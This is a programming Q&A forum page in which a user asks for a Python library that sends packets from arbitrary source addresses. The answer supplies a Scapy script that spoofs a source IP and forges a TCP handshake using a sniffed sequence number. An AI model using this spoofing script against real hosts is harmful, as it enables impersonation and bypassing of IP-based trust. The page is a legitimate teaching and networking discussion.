Is there a python library out there than can allow me to send UDP packets to a machine (sending to localhost is ok) from different source addresses and ports? I remember that one existed, but can't find it anymore.
Asked
Active
Viewed 9,910 times
1 Answers
20
You can spoof an IP address using Scapy library.
Here's an example from Packet Wizardry: Ruling the Network with Python:
#!/usr/bin/env python
import sys
from scapy import *
conf.verb=0
if len(sys.argv) != 4:
print "Usage: ./spoof.py <target> <spoofed_ip> <port>"
sys.exit(1)
target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print "Okay, SYN sent. Enter the sniffed sequence number now: "
seq=sys.stdin.readline()
print "Okay, using sequence number " + seq
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
ack=seq+1,seq=1)
send(p2)
print "Okay, final ACK sent. Check netstat on your target :-)"

jfs
- 399,953
- 195
- 994
- 1,670
-
1Ooh, my likee. Got to look at scapy. – Charlie Martin Jan 06 '09 at 21:01
-
packet will be drop by kernel or filter by NAT/FIREWAL or killed by ISP but your answer very nice. – Viet Nguyen Nov 29 '13 at 09:15
-
1This basically worked for me, but I needed `from scapy.all import *`. – mpontillo Dec 13 '15 at 19:14